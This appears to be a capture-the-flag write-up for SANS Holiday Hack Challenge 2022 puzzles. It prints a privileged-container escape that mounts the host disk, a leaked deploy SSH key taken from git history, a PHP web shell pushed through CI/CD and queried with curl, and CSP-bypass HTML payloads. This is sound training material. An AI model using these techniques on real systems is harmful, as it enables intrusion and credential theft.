Greetings Noble Player, You find yourself in a jail with a recently captured Dwarven Elf. He desperately asks your help in escaping for he is on a quest to aid a friend in a search for treasure inside a crypto-mine. If you can help him break free of his containment, he claims you would receive "MUCH GLORY!" Please, do your best to un-contain yourself and find the keys to both of your freedom.
This is most likely a Docker-escape challenge. Let's see if we are running in a Docker container:
grinchum-land:~$ cat /proc/1/cgroup 11:cpuset:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 10:pids:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 9:devices:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 8:freezer:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 7:blkio:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 6:perf_event:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 5:memory:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 4:hugetlb:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 3:net_cls,net_prio:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 2:cpu,cpuacct:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 1:name=systemd:/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4 0::/docker/517a4547bbc41db2dbf4b434b5a7fac6c5d75592e32e44dcd8fdb1be5348b5a4
Yeah, definitely a Docker container. Let's try common Docker escape techniques (shout out to @carlospolop, I often use his PEASS during engagements).
The usual technique is to check if we're running in a privileged container. The
command to check is capsh --print
:
grinchum-land:~$ capsh --print -bash: capsh: command not found
Hmm, we don't have the capsh
command. Another technique to check if
we're in a privileged container is to use a command that necessitates a
privileged capacity.
Let's use the command given in @vickieli7's
article:
grinchum-land:~$ sudo ip link add dummy0 type dummy grinchum-land:~$ ip link sh dummy0 2: dummy0: <BROADCAST,NOARP> mtu 1500 qdisc noop state DOWN qlen 1000 link/ether e2:9f:f0:fc:53:3e brd ff:ff:ff:ff:ff:ff
It seems that it worked, yay! We're most likely running in a privileged container. We can try to mount the host's disk so that we can access it through the container. Let's first find the correct partition:
grinchum-land:~$ sudo fdisk -l Disk /dev/vda: 2048 MB, 2147483648 bytes, 4194304 sectors 2048 cylinders, 64 heads, 32 sectors/track Units: sectors of 1 * 512 = 512 bytes Disk /dev/vda doesn't contain a valid partition table
The disk is apparently /dev/vda
, but it does not have a partition
table. Maybe we can try and mount it as is:
grinchum-land:~$ sudo mount /dev/vda /mnt grinchum-land:~$ ls /mnt bin dev home lib32 libx32 media opt root sbin sys usr boot etc lib lib64 lost+found mnt proc run srv tmp var
Looks good! Let's recover the /mnt/home/jailer/.ssh/jail.key.priv
file:
grinchum-land:~$ cat /mnt/home/jailer/.ssh/jail.key.priv Congratulations! You've found the secret for the HHC22 container escape challenge! .--._..--. ___ ( _'-_ -_.' _.-' `-._| - :- | _.-' `--...__| .-' '--..___ / `._ \ `. `._ one | `. `._ / '. `._ :__________....-----' `..`---' |-_ _- |___...----..._ |_....--' `.`. _...--' `.`. _..-' _.'.' .-' step _.'.' | _.'.' | __....------'-' | __...------''' _| '--''' |- - _ | _.-''''''''''''''''''-._ _.' |\ .' _.' | `._ closer |:.' `._ _.' | `..__ | | `---.._.--. _| | | _ - | `-.._|_.' .--...__ | - _| .'_ `--.....__ | .'_ `--..__ .'_ `. .'_ 082bb339ec19de4935867 `-. `--..____ _`. ```--...____ _..--' | - _ ```---.._.' | - _ | |_ - - | | - _ | | -_ -_| | - _ | | - _ | | -_ -_|
The answer is 082bb339ec19de4935867
.
Tinsel Upatree says
Great! Thanks so much for your help!
Now that you've helped me with this, I have time to tell you about the deployment tech I've been working on!
Continuous Integration/Continuous Deployment pipelines allow developers to iterate and innovate quickly.
With this project, once I push a commit, a GitLab runner will automatically deploy the changes to production.
WHOOPS! I didn’t mean to commit that to http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git...
Unfortunately, if attackers can get in that pipeline, they can make an awful mess of things!
Jolly CI/CD
Rippin Proudboot says
Yes, hello, I'm Rippin Proudboot. Can I help you?
Oh, you'd like to help me? Well, I'm not quite sure you can, but we shall see.
The elves here introduced me to this new CI/CD technology. It seems quite efficient.
Unfortunately, the sporcs seem to have gotten their grubby mits on it as well, along with the Elfen Ring.
They've used CI/CD to launch a website, and the Elfen Ring to power it.
Might you be able to check for any misconfigurations or vulnerabilities in their CI/CD pipeline?
If you do find anything, use it to exploit the website, and get the ring back!
Let's connect to the terminal. Careful, once connected to the terminal, we must still wait for the virtual environment to spin up other resources, so I advise you to wait a couple of minutes before trying anything.
Greetings Noble Player, Many thanks for answering our desperate cry for help! You may have heard that some evil Sporcs have opened up a web-store selling counterfeit banners and flags of the many noble houses found in the land of the North! They have leveraged some dastardly technology to power their storefront, and this technology is known as PHP! ***gasp*** This strorefront utilizes a truly despicable amount of resources to keep the website up. And there is only a certain type of Christmas Magic capable of powering such a thing… an Elfen Ring! Along with PHP there is something new we've not yet seen in our land. A technology called Continuous Integration and Continuous Deployment! Be wary! Many fair elves have suffered greatly but in doing so, they've managed to secure you a persistent connection on an internal network. BTW take excellent notes! Should you lose your connection or be discovered and evicted the elves can work to re-establish persistence. In fact, the sound off fans and the sag in lighting tells me all the systems are booting up again right now. Please, for the sake of our Holiday help us recover the Ring and save Christmas!
Looks like the Sporcs are running a web-store powered by an Elfen Ring. If we can compromise the web site, we can get our hands on the ring.
If we look back at what Tinsel told us, he published an unexpected thing on http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git. Let's clone the repository and have a look at the Git log:
grinchum-land:~$ git clone http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git Cloning into 'wordpress.flag.net.internal'... remote: Enumerating objects: 10195, done. remote: Total 10195 (delta 0), reused 0 (delta 0), pack-reused 10195 Receiving objects: 100% (10195/10195), 36.49 MiB | 20.78 MiB/s, done. Resolving deltas: 100% (1799/1799), done. Updating files: 100% (9320/9320), done. grinchum-land:~$ cd wordpress.flag.net.internal commit 37b5d575bf81878934adb937a4fff0d32a8da105 grinchum-land:~/wordpress.flag.net.internal$ git log Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 13:58:15 2022 -0700 updated wp-config commit a59cfe83522c9aeff80d49a0be2226f4799ed239 Author: knee-oh <sporx@kringlecon.com> Date: Wed Oct 26 12:41:05 2022 -0700 update gitlab.ci.yml commit a968d32c0b58fd64744f8698cbdb60a97ec604ed Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 16:43:48 2022 -0700 test commit 7093aad279fc4b57f13884cf162f7d80f744eea5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 15:08:14 2022 -0700 add gitlab-ci commit e2208e4bae4d41d939ef21885f13ea8286b24f05 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:43:53 2022 -0700 big update commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:54 2022 -0700 whoops commit abdea0ebb21b156c01f7533cea3b895c26198c98 Author: knee-oh <sporx@kringlecon.com> Date: Tue Oct 25 13:42:13 2022 -0700 added assets commit a7d8f4de0c594a0bbfc963bf64ab8ac8a2f166ca Author: knee-oh <sporx@kringlecon.com> Date: Mon Oct 24 17:32:07 2022 -0700 init commit
Commit e19f653bde9ea3de6af21a587e41e7a909db1ca5
has a message that
says whoops
. This is obviously a commit that tries to correct an error.
Let's see the difference between this commit and the previous one:
grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0ebb21b156c01f7533cea3b895c26198c98..e19f653bde9ea3de6af21a587e41e7a909db1ca5 diff --git a/.ssh/.deploy b/.ssh/.deploy deleted file mode 100644 index 3f7a9e3..0000000 --- a/.ssh/.deploy +++ /dev/null @@ -1,7 +0,0 @@ ------BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 -9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g -AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot -PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== ------END OPENSSH PRIVATE KEY----- diff --git a/.ssh/.deploy.pub b/.ssh/.deploy.pub deleted file mode 100644 index 8c0b43c..0000000 --- a/.ssh/.deploy.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
The commit deletes two files, called .ssh/.deploy
and
.ssh/.deploy.pub
, a public/private SSH key pair. Given the name, it's
most likely an SSH key pair used to deploy to the Git repository.
This means that we can most likely commit code to the Git repository. What's more, we were told that there's a CI/CD mechanism that will automatically deploy new versions of the website when there's a new commit. We can see that in the CI/CD configuration file in the Git repository:
grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml stages: - deploy deploy-job: stage: deploy environment: production script: - rsync -e "ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy" --chown=www-data:www-data -atv --delete --progress ./ root@wordpress.flag.net.internal:/var/www/html
So, if we commit a malicious file, say a web shell, it will be deployed on the Sporcs web-store, and we can take control of it.
Let's prepare our local environment so we can push to the Git repository using the SSH key pair we found.
First, we'll recover the private key:
grinchum-land:~/wordpress.flag.net.internal$ git checkout abdea0ebb21b156c01f7533cea3b895c26198c98 Note: switching to 'abdea0ebb21b156c01f7533cea3b895c26198c98'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -c with the switch command. Example: git switch -c <new-branch-name> Or undo this operation with: git switch - Turn off this advice by setting config variable advice.detachedHead to false HEAD is now at abdea0e added assets grinchum-land:~/wordpress.flag.net.internal$ cp .ssh/.deploy ~/deploy
We'll put the correct rights on it, and create a working SSH configuration so that the key is used for the Git repository:
grinchum-land:~/wordpress.flag.net.internal$ chmod 600 ~/deploy grinchum-land:~/wordpress.flag.net.internal$ mkdir ~/.ssh grinchum-land:~/wordpress.flag.net.internal$ cat << EOF > ~/.ssh/config > Host gitlab.flag.net.internal > User git > IdentityFile /home/samways/deploy > EOF
Then, we must configure the remote
of our Git repository to use SSH.
Indeed, since we cloned the repository through HTTP, the remote
is
configured with this protocol:
grinchum-land:~/wordpress.flag.net.internal$ git remote -v origin http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (fetch) origin http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (push)
So let's modify our remote
so that it uses the SSH protocol:
grinchum-land:~/wordpress.flag.net.internal$ git remote set-url --add origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git grinchum-land:~/wordpress.flag.net.internal$ git remote set-url --delete origin http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
Let's check if everything is fine:
grinchum-land:~/wordpress.flag.net.internal$ git remote -v origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git (fetch) origin git@gitlab.flag.net.internal:rings-of-powder/wordpress.flag.net.internal.git (push)
Perfect! Now we just configure our local Git install with a name and an email address:
grinchum-land:~/wordpress.flag.net.internal$ git config --global user.email "samways@grinchum-land.flag.net.internal" grinchum-land:~/wordpress.flag.net.internal$ git config --global user.name "samways@grinchum-land.flag.net.internal"
And we're all set! Now, we can make our malicious commit. Let's
checkout
back to the most recent commit, and create our web shell:
grinchum-land:~/wordpress.flag.net.internal$ git checkout main Previous HEAD position was abdea0e added assets Switched to branch 'main' Your branch is up to date with 'origin/main'. grinchum-land:~/wordpress.flag.net.internal$ cat << EOF > cmd.php > <?php system($_GET['c']); ?> > EOF
It's commit time:
grinchum-land:~/wordpress.flag.net.internal$ git add cmd.php grinchum-land:~/wordpress.flag.net.internal$ git commit -m "important commit" [main 0d54146] important commit 1 file changed, 1 insertion(+) create mode 100644 cmd.php grinchum-land:~/wordpress.flag.net.internal$ git push Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 2 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 308 bytes | 308.00 KiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 To gitlab.flag.net.internal:/rings-of-powder/wordpress.flag.net.internal.git 37b5d57..0d54146 main -> main
We wait a couple of seconds for the CI/CD pipeline to publish our webshell, aaaaand:
grinchum-land:~$ curl http://wordpress.flag.net.internal/cmd.php?c=whoami www-data
Voilà! Now we can look at the /flag.txt
file:
grinchum-land:~$ curl http://wordpress.flag.net.internal/cmd.php?c=cat+/flag.txt Congratulations! You've found the HHC2022 Elfen Ring! ░░░░ ░░░░ ░░ ░░░░ ░░ ░░░░ ░░ ░░ ░░░░ ░░ ░░░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ░░ ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░ ▓▓▓▓▓▓▓▓▒▒░░░░ ░░░░ ░░ ░░▒▒▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▒▒░░ ░░░░ ░░▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒░░ ░░░░ ▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░ ░░░░ ░░ ▒▒▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░▒▒▓▓▓▓░░ ░░▒▒▒▒░░░░ ░░░░▒▒ ░░▓▓▓▓▓▓ ▓▓▒▒░░░░ ░░░░▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒ ░░ ▒▒▓▓▓▓ ▒▒░░░░ ░░▒▒▒▒ ▒▒▓▓▓▓ ▒▒░░░░░░ ░░▒▒▒▒ ░░ ░░▓▓▓▓▒▒ ▒▒░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ ░░░░░░░░ ░░▒▒▒▒▓▓ ░░ ▒▒▓▓▓▓ oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT ░░░░░░░░ ░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░░░ ░░░░░░▒▒▒▒▓▓ ░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▓▓░░░░ ░░▓▓▓▓▒▒ ░░ ░░░░▒▒▒▒▓▓▓▓ ▒▒░░ ▒▒▓▓▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓ ▒▒░░░░ ░░▓▓▓▓ ░░ ░░░░▒▒▒▒▓▓▓▓ ▓▓▒▒░░ ░░▒▒▓▓▓▓ ░░ ░░▒▒▒▒▒▒▓▓▓▓ ▓▓▒▒░░░░ ▒▒▒▒▓▓ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ▒▒▒▒▒▒▒▒ ░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▒▒▒▒░░░░ ░░▒▒▒▒▒▒▒▒ ░░ ░░░░▒▒▒▒▒▒▒▒▓▓ ▓▓▒▒░░░░ ░░░░░░░░▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓ ░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒ ░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░ ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓ ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░ ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓ ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██ ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██ ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████ ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████ ░░░░░░░░▓▓██████████████████░░░░░░░░
The answer is oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
.
This gives us our second ring, the Elfen Ring:
Rippin Proudboot says
How unexpected, you were actually able to help!
Well, then I must apoligize for my dubious greeting.
Us Flobbits can't help it sometimes, it's just in our nature.
Right then, there are other Flobbits that need assistance further into the burrows.
Thank you, and off you go.
Right beside Ripping, we see Grinchum:
Grinchum says
😖 A second Precious is gone! Now we only have three.
🤨 Why are you humanses nagging us? We are busy. grinchum..grinchum
You want to know about us? If we tell the naggy human, will it go away? Fine...
🥺 The jolly human and the elfses locked up the Preciouses, but I freed them all, and together we escaped.
We fled, and we were so alone. We soon forgot the taste of Lembanh, the softness of snowflakes falling, even our name.
And we only wanted to eat raw fish: nigiri, maki, or shashimi. But we most likes gnawing the whole, living fish, so juicy sweet.
Then we saw the Sporcses, and they wanted my Preciouses all to themselves.
And the humanses came, but they just want coinses for their silly hats.
We only meant to protect you, Preciouses, from the naughty Elfses and Flobbitses and Sporcses, so we locked you away.
😏 Now leave us alone, naggy human, we must find the two missing Preciouses.
Recover the Web Ring
We go keep going down and chance upon Tangle Coalbox. We learn a little bit more on the nature of Flobbits and Sporcs:
Tangle Coalbox says
Hey there, Gumshoe. Tangle Coalbox here again.
Morcel told you all about the Flobbits, right? Well, be careful ahead.
Once thought to be the stuff of myths, the Sporcs truly are real, and as mean as they are in the stories.
Once we gained the Flobbits' trust, they taught us all about the Sporcs. They, too, were part of the Great Schism.
They were another people who split off from the colony of Frostians in Oz, though, they're more closely related to the trolls.
The Flobbits, on the other hand, are more like the Munchkins. Like the Flobbits, the Sporcs appear when the rings are at risk.
Digging far down into the ground causes them to emerge, too. Seems we created a perfect storm. Whoops!
They're definitely up to no good, and trying to get the Rings for themselves. Tread lightly, friend, and good luck!
Naughty IP
On our way to the Web Ring, we find Alabaster Snowball:
Alabaster Snowball says
Hey there! I'm Alabaster Snowball
And I have to say, I'm a bit distressed.
I was working with the dwarves and their Boria mines, and I found some disturbing activity!
Looking through these artifacts, I think something naughty's going on.
Can you please take a look and answer a few questions for me?
First, we need to know where the attacker is coming from.
If you haven't looked at Wireshark's Statistics menu, this might be a good time!
Let's take a look at these artifacts:
$ unzip boriaArtifacts.zip Archive: boriaArtifacts.zip inflating: victim.pcap inflating: weberror.log
The PCAP file seems the perfect candidate to take a look at the Wireshark's
Statistics menu. Let's open it up and go to Statistics > IPv4 Statistics
> All Addresses
:
The first IP address, 10.12.42.16
, is present in 100% of the packets.
This is most likely the IP address of the audited system. Therefore, the most
likely candidate for the attacker's IP address is 18.222.86.32
.
Credential Mining
Alabaster Snowball says
Aha, you found the naughty actor! Next, please look into the account brute force attack.
You can focus on requests to /login.html~
We must find the first login used in the bruteforce attack. Let's create a Wireshark filter that will focus on:
- The attacker's IP address
- THe HTTP
POST
method - The URI
/login.html
ip.addr== 18.222.86.32 && http.request.method == "POST" && http.request.uri == "/login.html"
The first login tried by the attacker is alice
.
404 FTW
Alabaster Snowball says
Alice? I totally expected Eve! Well how about forced browsing? What's the first URL path they found that way?
The misses will have HTTP status code 404 and, in this case, the successful guesses return 200.
Let's leave the PCAP file for now and take a look at the other artifact, the
web log. We'll grep
for the attacker's IP address and filter out
responses with an HTTP code 404
:
$ grep 18.222.86.32 weberror.log | grep -v 404 | tail -n 20 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:46:45] "POST /login.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:47:15] "POST /login.html HTTP/1.1" 302 - 18.222.86.32 - - [05/Oct/2022 16:47:46] "GET /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:47:47] "GET /maintenance.html HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:17] "GET /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:27] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:32] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:37] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:42] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:47] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:52] "POST /proc HTTP/1.1" 200 - 18.222.86.32 - - [05/Oct/2022 16:48:57] "POST /proc HTTP/1.1" 200 -
After the bruteforce attack, we can see that the first URL path found by the
attacker is /proc
.
IMDS, XXE, and Other Abbreviations
Alabaster Snowball says
Great! Just one more challenge! It looks like they made the server pull credentials from IMDS. What URL was forced?
AWS uses a specific IP address for IMDS lookups. Searching for that in the PCAP should get you there quickly.
Alabaster is talking about the AWS metadata URL,
which is http://169.254.169.254/latest/meta-data/. Let's filter for HTTP traffic
to IP address 169.254.169.254
in Wireshark, with the following filter:
ip.addr == 169.254.169.254 && http
The last request returns EC2 credentials. The request URL was http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance.
After answering the last question, Alabaster gives us some clues to solve the puzzle that lies ahead:
Alabaster Snowball says
Fantastic! It seems simpler now that I've seen it once. Thanks for showing me!
Hey, so maybe I can help you out a bit with the door to the mines.
First, it'd be great to bring an Elvish keyboard, but if you can't find one, I'm sure other input will do.
Instead, take a minute to read the HTML/JavaScript source and consider how the locks are processed.
Next, take a look at the Content-Security-Policy header. That drives how certain content is handled.
Lastly, remember that input sanitization might happen on either the client or server ends!
Open Boria Mine Door
Before we can go on, we must open the door to the Boria Mine. Beside it stands a Flobbit:
Hal Tandybuck says
Oh hi, I'm Hal Tandybuck. And who might you be?
I'm hanging out by the door to the mines here because, well, I haven't figured out the locks yet.
It actually reminds me of this locked crate I had three years ago...
I doubt we'll get much in the way of debug output.
Think you can help me get through?
Let's take a look at this Boria Mine door:
So there are several cells on the door, and to open a cell, you must connect the color sensors on each side by entering the correct charaters. It seems that elvish script works best, but we don't have an elvish keybaord. Let's see our cells:
Alright, I don't know if I solved this challenge in the intended way, but I found a way that works:
- The
Content-Security-Policy
of the first cell is pretty permisive. - We can use the first cell to generate arbitrary HTML that will be rendered as images.
- One can include images in every cell by submitting an
<img src=x>
tag. The catch is that the image must be hosted on the KringleCon domain (because of the restrictions in the CSP header). What's more, cells #4 and #5 have client-side filtering on the values we send. We can use an intercepting proxy, such as Burp, to send any value we want.
So, the idea is to use the first cell to generate arbitrary block of colors using CSS and the Unicode character U+2588.
Here's how I solved each cells:
Cell 1
You can simply submit this HTML code to the first cell:
<div style="font-size:50px">████████████</div>
Cell 2
You can simply submit this HTML code to the second cell:
<div style="font-size:300px">████</div>
Cell 3
It gets tricky from here. First, you must generate the wanted image in the first cell with this HTML code:
<div style="font-size:100px;color:blue">████████████</div>
This generates the following image:
You can send submit this HTML code to the third cell:
<img src="/images/24398193ed2bb291da7235b12211d8d3d655f5fc.png"/>
Cell 4
You can submit this HTML code to the fourth cell:
<div style="font-size:50px">████████████</div> <div style="font-size:250px;color:blue">██████████████████████████████████████</div>
Remember to send the data via an intercepting proxy to bypass the client-side filtering.
Cell 5
First, you must generate the wanted image in the first cell with this HTML code:
<div style="font-size:40px;color:red">████████████████</div> <div style="font-size:90px;color:red;margin-top:-20px">█</div> <div style="font-size:60px;color:blue;margin-left:10px;margin-top:-10px">█████████</div> <div style="font-size:90px;color:blue;margin-left:150px;margin-top:-150px">█</div>
This generates the following image:
You can send submit this HTML code to the fifth cell:
<img src="/images/10dc476eb50d6f2661877bf5eeb6726a88c27cc5.png"/>
Remember to send the data via an intercepting proxy to bypass the client-side filtering.
Cell 6
First, you must generate the wanted image in the first cell with this HTML code:
<div style="font-size:40px;color:#00ff00">████████████</div> <div style="font-size:40px;color:red">████████</div> <div style="font-size:60px;color:red;margin-left:100px;margin-top:-55px">███</div> <div style="font-size:60px;color:blue;margin-top:-15px">█████████</div>
This generates the following image:
You can send submit this HTML code to the sixth cell:
<img src="/images/7e9a0ae3e494d40d2e4e0343e6dba9222e21afa1.png"/>
Here's the final result:
Hal Tandybuck says
Great! Thanks so much for your help!
When you get to the fountain inside, there are some things you should consider.
First, it might be helpful to focus on Glamtariel's CAPITALIZED words.
If you finish those locks, I might just have another hint for you!
Wha - what?? You opened all the locks?! Well then...
Did you see the nearby terminal with evidence of an XXE attack?
Maybe take a close look at that kind of thing.
Glamtariel's Fountain
After opening the Boria Mine door, we get to the fountain, but a sporc is there to meet us.
Akbowl says
Huh - what? Why do you disturb Akbowl?
I'm trying to get the ring in here for the Sporc Chief.
Unlucky for me it's lost in this water basin thing.
You will not get it out before Akbowl!
Let's get the ring before him. To do so, we have to gaze into Glamtariel's Galadriel fountain. We must find the filename of the ring she presents to us.
As usual, there's always one task during the Holiday Hack Challenge that I spend waaaay too much time on. This year, it's the fountain. Let me explain how it works:
Basically, we drag-and-drop images on Princess Glamtariel or on her fountain, and they will give us information about them. I will give their answer for each image:
Santa:
When dropped on Glamtariel:
- Glamtariel: "I don't know why anyone would ever ask me to TAMPER with the cookie recipe. I know just how Kringle likes them."
- The fountain: "Glamtariel likes to keep Kringle happy so that he and the elves will visit often."
When dropped on the fountain:
- The fountain: "Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses."
- Glamtariel: "Kringle really likes the cookies here so I always make them the same way."
The candy cane:
When dropped on Glamtariel:
- Glamtariel: "Mmmmm, I love Kringlish Delight!"
- The fountain: "I think Glamtariel is thinking of a different story."
When dropped on the fountain:
- The fountain: "Zany Zonka makes the best of these!"
- Glamtariel: "I think fountain gets confused about things sometimes."
The ice cube:
When dropped on Glamtariel:
- Glamtariel: "No worries, it doesn't get nearly as cold here as it did in Melgarexa. Brrrr, that was one frigid trip."
- The fountain: "I think it's a perfect temperature here."
When dropped on the fountain:
- The fountain: "Hey, its Chilly Icycube, my old friend! I remember when they were but a small drop in the Dimrofel."
- Glamtariel: "It's always great when old friends visit!"
The elf:
When dropped on Glamtariel:
- Glamtariel: "I helped the elves to create the PATH here to make sure that only those invited can find their way here."
- The fountain: "I wish the elves visited more often."
When dropped on the fountain:
- The fountain: "The elves do a great job making PATH s which are easy to follow once you see them."
- Glamtariel: "I don't get away as much as I used to. I think I have one last trip in me which I've probably put off for far too long."
When we've asked about every element, the four images change:
Here's what we get when we drop them:
The ring:
When dropped on Glamtariel:
- Glamtariel: "I do have a small ring collection, including one of these."
- The fountain: "I think Glamtariel likes rings a little more than she lets on sometimes."
When dropped on the fountain (an evil eye appears, we must click on it to make it go away):
